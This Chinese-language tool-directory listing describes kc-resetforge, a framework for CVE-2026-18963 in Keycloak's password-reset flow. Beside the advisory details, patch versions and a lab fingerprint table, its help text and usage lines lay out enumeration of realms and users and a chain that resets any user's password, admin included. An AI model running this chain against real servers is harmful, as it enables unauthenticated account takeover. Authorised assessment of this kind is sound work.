Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/alt3kx/cve-2026-18963
侦察漏洞分析漏洞利用信息收集Web安全渗透测试身份验证
GitHubalt3kx/cve-2026-18963

CVE-2026-18963

CVE-2026-18963 的检测与验证工具,该漏洞为 Keycloak 重置凭据状态绕过漏洞。该工具可执行版本指纹识别、领域/客户端/用户枚举,并测试是否强制执行 action-token 前置条件,适用于授权评估场景。

查看仓库
13小时20分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2026-18963 Keycloak 重置凭据状态绕过检测器

https://github.com/user-attachments/assets/005fab89-339a-4e4e-881c-da6a626f6c9e

root@kitploit:~
python3 kc-resetforge.py -h


usage: kc-resetforge.py [-h] [--target TARGET] [--targets-file TARGETS_FILE] [--port PORT] [--realm REALM]
                        [--client-id CLIENT_ID] [--username USERNAME] [--new-password NEW_PASSWORD] [--skip-enum]
                        [--enum-only] [--kc-version] [--kc-reset-link] [--corpus-dir CORPUS_DIR] [--label LABEL]
                        [--enum-realms] [--no-enum-realms] [--enum-clients] [--no-enum-clients] [--enum-users]
                        [--no-enum-users] [--realm-wordlist REALM_WORDLIST] [--client-wordlist CLIENT_WORDLIST]
                        [--user-wordlist USER_WORDLIST] [--enum-users-client-id ENUM_USERS_CLIENT_ID]
                        [--verify-login] [--no-verify-login] [--verify-client-id VERIFY_CLIENT_ID]
                        [--timeout TIMEOUT] [--request-delay REQUEST_DELAY] [--output-dir OUTPUT_DIR]
                        [--proxy PROXY] [-d] [-y] [--json-out JSON_OUT]

CVE-2026-18963 Keycloak 侦察 + 利用框架(仅限自有基础设施)

options:
  -h, --help            show this help message and exit
  --target TARGET       单个目标:裸主机/IP、host:port 或完整的 http(s)://host[:port] URL。若省略协议和端口则自动检测(先尝试 https 再尝试 http;默认分别为 443/80)。
                        与 --targets-file 互斥。
  --targets-file TARGETS_FILE
                        指向每行一个目标的文件路径,格式与 --target 相同(允许 '#' 注释)。依次对每个目标执行侦察+利用。
  --port PORT           为 --target 覆盖端口(或作为 --targets-file 中未指定端口行的回退)。--targets-file 中每行指定的端口始终优先。
  --realm REALM         要攻击的 realm。若省略,则从侦察结果中自动选择。
  --client-id CLIENT_ID
                        要使用的 OIDC client_id。若省略,则从侦察结果中自动选择。
  --username USERNAME   要攻击的用户名。若省略,则从侦察结果中自动选择。
  --new-password NEW_PASSWORD
                        为目标用户设置的密码(默认:'Test123!')
  --skip-enum           完全跳过侦察;--realm/--client-id/--username 变为必填。
  --enum-only           仅运行侦察并打印结果,不尝试利用。
  --kc-version          仅运行 Keycloak 版本侦察阶段(指纹识别 + 语料库匹配 + 补丁状态)后退出 - 完全跳过 realm/client/用户枚举和利用。同时适用于 --target 和 --targets-file。
  --kc-reset-link       仅检查自助密码重置('Forgot Password?' / resetPasswordAllowed)流程是否暴露后退出 - 单个非破坏性 GET 请求,无需用户名。除非显式给出 --realm/--client-id,否则通过轻量级 realm+client 侦察自动发现。跳过利用。同时适用于 --target 和 --targets-file。
  --corpus-dir CORPUS_DIR
                        已知版本指纹目录,用于精确版本匹配(默认:kc_version_corpus)。
  --label LABEL         将当前目标的指纹以该版本标签保存到语料库中,而不是匹配未知版本。用于已知版本的实例。
  --enum-realms         枚举 realm 名称(默认:侦察期间开启)。
  --no-enum-realms
  --enum-clients        枚举每个 realm 的 client ID(默认:侦察期间开启)。
  --no-enum-clients
  --enum-users          枚举每个 realm 的用户名(默认:侦察期间开启)。
  --no-enum-users
  --realm-wordlist REALM_WORDLIST
  --client-wordlist CLIENT_WORDLIST
  --user-wordlist USER_WORDLIST
  --enum-users-client-id ENUM_USERS_CLIENT_ID
                        用于用户名枚举 direct-grant 探测的客户端(默认:admin-cli)。
  --verify-login        密码更改后,通过 password-grant 令牌请求确认新凭据(默认:开启)。
  --no-verify-login
  --verify-client-id VERIFY_CLIENT_ID
                        用于验证 password grant 的客户端。
  --timeout TIMEOUT
  --request-delay REQUEST_DELAY
                        利用链中每个请求前等待的秒数(默认:0.4)。Keycloak 的登录流程状态在重置/重启/选择器重放步骤之间可能对时序敏感;较小的延迟可使链更可靠。0 表示禁用。
  --output-dir OUTPUT_DIR
  --proxy PROXY         通过 HTTP(S) 代理路由:'burp'(127.0.0.1:8080 简写)、裸 host:port 或完整的 http(s):// URL。
  -d, --debug           请求/响应/枚举探测的详细调试日志
  -y, --yes             跳过 'Continue with this target?' 提示。非交互式使用(脚本、多目标 --targets-file、CI)必需。
  --json-out JSON_OUT   将侦察+利用结果的 JSON 报告写入该路径。

kc-resetforge — CVE-2026-18963 Keycloak 侦察 + 利用工具(仅限自有基础设施)

Usage
-----
全自动(侦察 -> 自动选择目标 -> 利用 -> 验证):
    python3 kc-resetforge.py --target https://localhost:9990 --proxy burp -d

仅侦察:
    python3 kc-resetforge.py --target https://localhost:9990 --enum-only -d

仅版本 + 补丁状态检查,跨多主机:
    python3 kc-resetforge.py --targets-file targets.txt --kc-version

跳过侦察,直接攻击:
    python3 kc-resetforge.py --target https://localhost:9990 --realm master \
        --client-id account --username admin --skip-enum

依赖:requests、beautifulsoup4,可选 rich(pip install --break-system-packages)

漏洞摘要

技术细节

  • 根本原因: reset-credentials 流程中的状态验证不当。服务器跟踪会话当前所处的步骤,但在允许流程推进到密码更新之前,并未独立重新验证通过电子邮件发送的 action-token 步骤是否确实已完成。
  • 前提条件: 无 — 未认证、无需用户交互、无需先前访问权限。
  • 影响范围: 任何启用了"Forgot password"的 realm,版本低于 26.7.2。
  • 修复方案:
    • 上游 Keycloak 26.7.2
    • RHBK 26.4 → operator bundle 26.4.15-1 / 镜像 26.4-23
    • RHBK 26.6 → operator bundle 26.6.6-1 / 镜像 26.6-12
    • 临时缓解措施:按 realm 禁用"Forgot password"(Realm Settings → Login → Forgot password)

关于本工具

kc-resetforge 是一个检测/验证工具。它用于确认目标的 reset-credentials 流程是否正确执行了 action-token 前提条件(已修补)或未执行(存在漏洞),适用于授权评估。下方链接的文章以适合公开披露的深度介绍了该机制和复现方法。

完整分析:Forging kc-resetforge: Turning CVE-2026-18963 Into a Repeatable Check

版本识别

kc-resetforge.py 无法询问 Keycloak"你是什么版本?",因为没有预认证端点能回答这个问题。相反,它对目标进行指纹识别(响应字段、静态资产哈希、favicon),并将其与您已用已知版本标记的语料库进行比较。该指纹没有语料库条目 = 无法确定精确版本,这是设计使然,不是 bug。

为您有权访问的每个版本构建一次语料库:

root@kitploit:~
python3 kc-resetforge.py --target https://known-26.6.2-host --kc-version --label 26.6.2
python3 kc-resetforge.py --target https://known-26.7.2-host --kc-version --label 26.7.2
[snip]

我的实验室:
python3 kc-resetforge.py --target https://localhost:9990 --kc-version --label 26.6.2
python3 kc-resetforge.py --target https://localhost:9991 --kc-version --label 26.6.3
python3 kc-resetforge.py --target https://localhost:9992 --kc-version --label 26.6.4
python3 kc-resetforge.py --target https://localhost:9993 --kc-version --label 26.7.0
python3 kc-resetforge.py --target https://localhost:9994 --kc-version --label 26.7.1
python3 kc-resetforge.py --target https://localhost:9995 --kc-version --label 26.7.2

侦察:
python3 kc-resetforge.py --targets-file targets.txt --kc-version --kc-reset-link --proxy 127.0.0.1:8080
[snip]

[*] Proxying through: http://127.0.0.1:8080
[+] Run Summary
Targets scanned

┏━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━┓
┃Target                 ┃ Keycloak Version ┃ Patch      ┃ Reset Link ┃ Result ┃
┡━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━┩
│https://localhost:9990 │ 26.6.2           │ VULNERABLE │ ENABLED    │ checked│
│https://localhost:9991 │ 26.6.3           │ VULNERABLE │ ENABLED    │ checked│
│https://localhost:9992 │ 26.6.4           │ VULNERABLE │ ENABLED    │ checked│
│https://localhost:9993 │ 26.7.0           │ VULNERABLE │ ENABLED    │ checked│
│https://localhost:9994 │ 26.7.1           │ VULNERABLE │ ENABLED    │ checked│
│https://localhost:9995 │ 26.7.2           │ PATCHED    │ ENABLED    │ checked│
└───────────────────────┴──────────────────┴────────────┴────────────┴────────┘

条目保存在脚本旁边的 kc_version_corpus/ 目录中,因此无论您从哪个目录运行该工具,它们都会持久存在,请勿删除该文件夹。

查看语料库内容:

root@kitploit:~
ls kc_version_corpus/

标记完成后,每次未来的扫描都会自动与之匹配:

root@kitploit:~
python3 kc-resetforge.py --target https://target --kc-version
python3 kc-resetforge.py --targets-file targets.txt --kc-version

致谢

漏洞发现

  • James Paremain(Red Hat 公告中致谢)

工具

  • Alex Hernandez 又名 (@_alt3kx_)

参考

  • https://access.redhat.com/security/cve/CVE-2026-18963
  • https://www.keycloak.org/2026/08/keycloak-2672-released
  • https://thehackernews.com/2026/08/critical-keycloak-password-reset-flaw.html
  • https://github.com/keycloak/keycloak/issues/51833

免责声明

本项目严格仅用于:

  • 授权的安全评估
  • 防御性测试
  • 教育研究

请勿对任何您不拥有或未经明确书面授权测试的系统运行此工具。对第三方基础设施的未经授权使用是非法的,且超出本项目的预期用途。维护者不对滥用承担任何责任。

下载工具
字段值
CVECVE-2026-18963
严重性严重
CVSS9.1
CWECWE-640(弱密码恢复机制)
组件Keycloak — reset-credentials 认证流程
影响未认证、零交互账户接管(包括管理员账户)
修复版本Keycloak 26.7.2(上游)/ RHBK 26.4.15-1、26.6.6-1